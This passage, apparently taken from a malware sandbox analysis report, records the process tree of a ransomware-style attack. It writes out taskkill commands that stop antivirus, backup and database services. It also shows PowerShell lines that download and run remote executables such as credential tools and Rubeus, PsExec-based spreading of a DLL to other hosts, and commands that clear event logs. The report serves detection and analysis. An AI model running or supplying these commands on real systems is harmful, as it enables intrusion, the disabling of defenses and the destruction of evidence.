  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4468
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM TrueKeyScheduler
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3712
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM TrueKeyServiceHelper
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM WRSVC
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4840
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM McTaskManager
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:296
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM OracleClientCache80
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2092
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM mfefire
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3520
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM wbengine
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3420
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM mfemms
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1812
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM RESvc
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3716
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM mfevtp
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3200
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM sacsvr
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2212
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SAVAdminService
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1408
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SAVService
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:1476
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SepMasterService
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3532
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM PDVFSService
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1320
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ESHASRV
  2⤵
  PID:4380
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SDRSVC
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3128
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM FA_Scheduler
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:648
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM KAVFS
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4428
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM KAVFSGT
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2828
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM kavfsslp
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4668
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM klnagent
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:684
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM macmnsvc
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4140
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM masvc
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:672
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MBAMService
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1152
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MBEndpointAgent
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2908
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM McShield
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:2392
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM audioendpointbuilder
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM Antivirus
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3968
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM AVP
  2⤵
  PID:3016
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM DCAgent
  2⤵
  - Kills process with taskkill
  PID:3848
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM bedbg
  2⤵
  - Kills process with taskkill
  PID:3424
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM EhttpSrv
  2⤵
  PID:4944
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MMS
  2⤵
  - Kills process with taskkill
  PID:3380
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ekrn
  2⤵
  PID:4608
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM EPSecurityService
  2⤵
  PID:4304
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM EPUpdateService
  2⤵
  PID:3536
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ntrtscan
  2⤵
  - Kills process with taskkill
  PID:2832
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM EsgShKernel
  2⤵
  PID:4976
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msexchangeadtopology
  2⤵
  PID:288
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM AcrSch2Svc
  2⤵
  PID:3280
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSOLAP\$TPSAMA
  2⤵
  PID:1688
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM "Intel(R) PROSet Monitoring"
  2⤵
  PID:1500
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msexchangeimap4
  2⤵
  - Kills process with taskkill
  PID:3220
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ARSM
  2⤵
  - Kills process with taskkill
  PID:1120
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM unistoresvc_1af40a
  2⤵
  - Kills process with taskkill
  PID:4776
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ReportServer\$TPS
  2⤵
  PID:1200
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSOLAP\$SYSTEM_BGC
  2⤵
  PID:1888
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM W3Svc
  2⤵
  PID:636
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSExchangeSRS
  2⤵
  - Kills process with taskkill
  PID:5008
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ReportServer\$TPSAMA
  2⤵
  - Kills process with taskkill
  PID:3680
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM "Zoolz 2 Service"
  2⤵
  - Kills process with taskkill
  PID:1244
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSOLAP\$TPS
  2⤵
  PID:2304
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM aphidmonitorservice
  2⤵
  - Kills process with taskkill
  PID:3128
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SstpSvc
  2⤵
  PID:3524
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSExchangeMTA
  2⤵
  - Kills process with taskkill
  PID:3588
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ReportServer\$SYSTEM_BGC
  2⤵
  - Kills process with taskkill
  PID:4412
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM "Symantec System Recovery"
  2⤵
  PID:584
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM UI0Detect
  2⤵
  PID:2960
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSExchangeSA
  2⤵
  PID:3228
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSExchangeIS
  2⤵
  - Kills process with taskkill
  PID:1868
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ReportServer
  2⤵
  PID:1056
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MsDtsServer110
  2⤵
  PID:2348
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM POP3Svc
  2⤵
  PID:2644
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSExchangeMGMT
  2⤵
  - Kills process with taskkill
  PID:3260
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SMTPSvc
  2⤵
  - Kills process with taskkill
  PID:2908
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MsDtsServer
  2⤵
  PID:2392
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM IisAdmin
  2⤵
  PID:4968
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MSExchangeES
  2⤵
  - Kills process with taskkill
  PID:3968
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM EraserSvc11710
  2⤵
  PID:3016
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM "Enterprise Client Service"
  2⤵
  - Kills process with taskkill
  PID:3848
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM MsDtsServer100
  2⤵
  PID:3776
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM NetMsmqActivator
  2⤵
  PID:4944
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM stc_raw_agent
  2⤵
  PID:3380
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM VSNAPVSS
  2⤵
  PID:4608
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM PDVFSService
  2⤵
  - Kills process with taskkill
  PID:4304
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM AcrSch2Svc
  2⤵
  PID:3536
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM Acronis
  2⤵
  PID:4892
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM CASAD2DWebSvc
  2⤵
  - Kills process with taskkill
  PID:4108
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM CAARCUpdateSvc
  2⤵
  - Kills process with taskkill
  PID:4840
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM McAfee
  2⤵
  - Kills process with taskkill
  PID:296
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM avpsus
  2⤵
  PID:2092
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM DLPAgentService
  2⤵
  PID:1556
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM mfewc
  2⤵
  - Kills process with taskkill
  PID:732
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM "BMR Boot Service"
  2⤵
  - Kills process with taskkill
  PID:4396
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM DefWatch
  2⤵
  PID:1120
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ccEvtMgr
  2⤵
  PID:952
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM ccSetMgr
  2⤵
  PID:4200
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM SavRoam
  2⤵
  - Kills process with taskkill
  PID:848
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM RTVscan
  2⤵
  - Kills process with taskkill
  PID:3540
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM QBFCService
  2⤵
  - Kills process with taskkill
  PID:2784
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM QBIDPService
  2⤵
  - Kills process with taskkill
  PID:4448
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM Intuit.QuickBooks.FCS
  2⤵
  PID:4424
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM QBCFMonitorService
  2⤵
  PID:2560
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM YooIT
  2⤵
  - Kills process with taskkill
  PID:1264
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM zhudongfangyu
  2⤵
  - Kills process with taskkill
  PID:2976
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM nsService
  2⤵
  PID:3524
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM veeam
  2⤵
  PID:3588
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM backup
  2⤵
  - Kills process with taskkill
  PID:4412
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM sql
  2⤵
  PID:584
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM memtas
  2⤵
  - Kills process with taskkill
  PID:2960
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM vss
  2⤵
  PID:4844
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM sophos
  2⤵
  PID:368
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM svc\$
  2⤵
  PID:1072
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM mepocs
  2⤵
  - Kills process with taskkill
  PID:4540
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM wuauserv
  2⤵
  - Kills process with taskkill
  PID:3824
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-NetNeighbor | Select-Object IPAddress"
  2⤵
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "net view" \\127.0.0.1
  2⤵
  PID:2680
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" view \\127.0.0.1
    3⤵
    - Discovers systems in the same network
    PID:4120
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "net view" \\10.127.255.255
  2⤵
  PID:2936
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" view \\10.127.255.255
    3⤵
    - Discovers systems in the same network
    PID:284
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "net view" \\10.127.0.1
  2⤵
  PID:4108
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" view \\10.127.0.1
    3⤵
    - Discovers systems in the same network
    PID:1236
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "(new-object Net.WebClient).DownloadFile('https://github.com/anebgqa/d/releases/download/d/mz.exe', 'c:\Windows\temp\mz.exe'); c:\Windows\temp\mz.exe | Out-File -FilePath 'C:\\windows\\temp\\k14.txt' -Encoding utf8; exit"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  PID:2128
- - C:\Windows\temp\mz.exe
    "C:\Windows\temp\mz.exe"
    3⤵
    - Executes dropped EXE
    PID:2116
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "(new-object Net.WebClient).DownloadFile('https://github.com/anebgqa/c/releases/download/c/ps.exe', 'C:\windows\temp\ps.exe')"
  2⤵
  - Blocklisted process makes network request
  PID:4340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "reg query \"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\n00b\""
  2⤵
  PID:4832
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" query "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\n00b"
    3⤵
    PID:688
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM sql.exe
  2⤵
  PID:1176
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM oracle.exe
  2⤵
  PID:3728
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM excel.exe
  2⤵
  - Kills process with taskkill
  PID:220
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM infopath.exe
  2⤵
  PID:4084
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msaccess.exe
  2⤵
  PID:3016
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM onenote.exe
  2⤵
  - Kills process with taskkill
  PID:2432
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM outlook.exe
  2⤵
  PID:2136
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM powerpnt.exe
  2⤵
  PID:3960
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM thunderbird.exe
  2⤵
  PID:5016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "(new-object Net.WebClient).DownloadFile('https://github.com/r3motecontrol/Ghostpack-CompiledBinaries/raw/master/Rubeus.exe', 'C:\windows\temp\rbs.exe')"
  2⤵
  - Blocklisted process makes network request
  PID:2832
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM tbirdconfig.exe
  2⤵
  PID:372
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM visio.exe
  2⤵
  PID:376
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM winword.exe
  2⤵
  PID:732
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM wordpad.exe
  2⤵
  PID:3220
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM notepad.exe
  2⤵
  - Kills process with taskkill
  PID:4756
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM sql.exe
  2⤵
  - Kills process with taskkill
  PID:1408
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM oracle.exe
  2⤵
  PID:400
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM excel.exe
  2⤵
  - Kills process with taskkill
  PID:5004
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "C:\windows\temp\ps.exe -accepteula \\10.127.255.255 powershell -c \"(new-object Net.WebClient).DownloadFile('https://github.com/anebgqa/a/releases/download/a/xlw.dll', 'C:\windows\temp\xlw.dll'); C:\Windows\System32\rundll32.exe C:\windows\temp\xlw.dll,rekt;\""
  2⤵
  PID:4452
- - C:\windows\temp\ps.exe
    "C:\windows\temp\ps.exe" -accepteula \\10.127.255.255 powershell -c "(new-object Net.WebClient).DownloadFile('https://github.com/anebgqa/a/releases/download/a/xlw.dll', 'C:\windows\temp\xlw.dll'); C:\Windows\System32\rundll32.exe C:\windows\temp\xlw.dll,rekt;"
    3⤵
    - Executes dropped EXE
    PID:4364
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM infopath.exe
  2⤵
  PID:272
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM msaccess.exe
  2⤵
  PID:3132
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM onenote.exe
  2⤵
  PID:648
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM outlook.exe
  2⤵
  PID:4972
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM powerpnt.exe
  2⤵
  PID:4148
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM thunderbird.exe
  2⤵
  PID:3404
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM tbirdconfig.exe
  2⤵
  - Kills process with taskkill
  PID:2620
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM visio.exe
  2⤵
  PID:4648
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM winword.exe
  2⤵
  PID:4540
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM wordpad.exe
  2⤵
  PID:3824
- C:\Windows\system32\taskkill.exe
  taskkill /F /IM notepad.exe
  2⤵
  - Kills process with taskkill
  PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "C:\windows\temp\ps.exe -accepteula \\10.127.0.1 powershell -c \"(new-object Net.WebClient).DownloadFile('https://github.com/anebgqa/a/releases/download/a/xlw.dll', 'C:\windows\temp\xlw.dll'); C:\Windows\System32\rundll32.exe C:\windows\temp\xlw.dll,rekt;\""
  2⤵
  PID:1072
- - C:\windows\temp\ps.exe
    "C:\windows\temp\ps.exe" -accepteula \\10.127.0.1 powershell -c "(new-object Net.WebClient).DownloadFile('https://github.com/anebgqa/a/releases/download/a/xlw.dll', 'C:\windows\temp\xlw.dll'); C:\Windows\System32\rundll32.exe C:\windows\temp\xlw.dll,rekt;"
    3⤵
    - Executes dropped EXE
    PID:1372
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "reg add \"HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\n00b\" /f /v matb /t Reg_DWORD /d 1"
  2⤵
  PID:1408
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\n00b" /f /v matb /t Reg_DWORD /d 1
    3⤵
    PID:2832
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del -Path C:\Users\Admin\Downloads\inf -Recurse -Force"
  2⤵
  PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del -Path 'C:\Users\Admin\Downloads\Richiesta legale' -Recurse -Force"
  2⤵
  PID:584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del -Path 'C:\Users\Admin\Downloads\Demande légale' -Recurse -Force"
  2⤵
  PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'c:\windows\temp\uyt.ps1'"
  2⤵
  PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'c:\windows\temp\k14.txt'"
  2⤵
  PID:3776
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "taskkill /F /IM ie.exe"
  2⤵
  PID:280
- - C:\Windows\system32\taskkill.exe
    "C:\Windows\system32\taskkill.exe" /F /IM ie.exe
    3⤵
    - Kills process with taskkill
    PID:4048
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\ie.exe'"
  2⤵
  PID:3280
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\xlw.dll'"
  2⤵
  PID:3716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\ps.exe'"
  2⤵
  PID:2092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\rbs.exe'"
  2⤵
  PID:300
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "del 'C:\windows\temp\mz.exe'"
  2⤵
  PID:4248
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-ChildItem -Path 'C:\Users\Admin\Downloads' -Filter *.lnk | Remove-Item -Force"
  2⤵
  PID:544
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-ChildItem -Path 'C:\Users\Admin\Downloads' -Filter *.zip | Remove-Item -Force"
  2⤵
  PID:4956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-ChildItem -Path 'C:\Users\Admin\Downloads' -Filter *.html | Remove-Item -Force"
  2⤵
  PID:2920
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "Get-WinEvent -ListLog * | ForEach-Object { wevtutil.exe cl $_.LogName }"
  2⤵
  PID:3284
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Windows PowerShell"
    3⤵
    PID:1796
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl System
    3⤵
    PID:1048
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Security
    3⤵
    PID:2392
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl OAlerts
    3⤵
    PID:920
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Key Management Service"
    3⤵
    PID:2184
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Internet Explorer"
    3⤵
    PID:1868
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl HardwareEvents
    3⤵
    PID:2752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Application
    3⤵
    PID:280
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Windows Networking Vpn Plugin Platform/OperationalVerbose"
    3⤵
    PID:4608
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Windows Networking Vpn Plugin Platform/Operational"
    3⤵
    PID:2912
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl SMSApi
    3⤵
    PID:1756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Setup
    3⤵
    PID:3756
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl OpenSSH/Operational
    3⤵
    PID:4580
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl OpenSSH/Admin
    3⤵
    PID:3752
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Network Isolation Operational"
    3⤵
    PID:372
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-WindowsPhone-Connectivity-WiFiConnSvc-Channel
    3⤵
    - Clears Windows event logs
    PID:1120
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WWAN-SVC-Events/Operational
    3⤵
    PID:3308
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WPD-MTPClassDriver/Operational
    3⤵
    PID:800
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WPD-CompositeClassDriver/Operational
    3⤵
    PID:848
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WPD-ClassInstaller/Operational
    3⤵
    PID:3592
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Workplace Join/Admin"
    3⤵
    PID:3604
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WorkFolders/WHC
    3⤵
    PID:2212
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WorkFolders/Operational
    3⤵
    PID:4464
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Wordpad/Admin
    3⤵
    - Clears Windows event logs
    PID:944
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WMPNSS-Service/Operational
    3⤵
    PID:528
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WMI-Activity/Operational
    3⤵
    PID:2832
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-wmbclass/Trace
    3⤵
    PID:3704
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WLAN-AutoConfig/Operational
    3⤵
    PID:296
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Wired-AutoConfig/Operational
    3⤵
    - Clears Windows event logs
    PID:1812
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Winsock-WS2HELP/Operational
    3⤵
    PID:648
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Winsock-NameResolution/Operational
    3⤵
    PID:4424
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Winsock-AFD/Operational
    3⤵
    PID:4408
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WinRM/Operational
    3⤵
    PID:1876
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WinNat/Oper
    3⤵
    PID:4556
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-Winlogon/Operational
    3⤵
    PID:4860
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WinINet-Config/ProxyConfigChanged
    3⤵
    PID:4108
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WinINet-Capture/Analytic
    3⤵
    PID:3132
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WinHTTP-NDF/Diagnostic
    3⤵
    PID:1132
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WindowsUpdateClient/Operational
    3⤵
    PID:4180
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WindowsUIImmersive/Operational
    3⤵
    - Clears Windows event logs
    PID:3008
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WindowsSystemAssessmentTool/Operational
    3⤵
    PID:3404
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WindowsColorSystem/Operational
    3⤵
    PID:3128
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl Microsoft-Windows-WindowsBackup/ActionCenter
    3⤵
    - Clears Windows event logs
    PID:2620
- - C:\Windows\system32\wevtutil.exe
    "C:\Windows\system32\wevtutil.exe" cl "Microsoft-Windows-Windows Firewall With Advanced Security/FirewallVerbose"
    3⤵
    - Clears Windows event logs
    PID:2636
- - C:\Windows\system32\wevtutil.exe
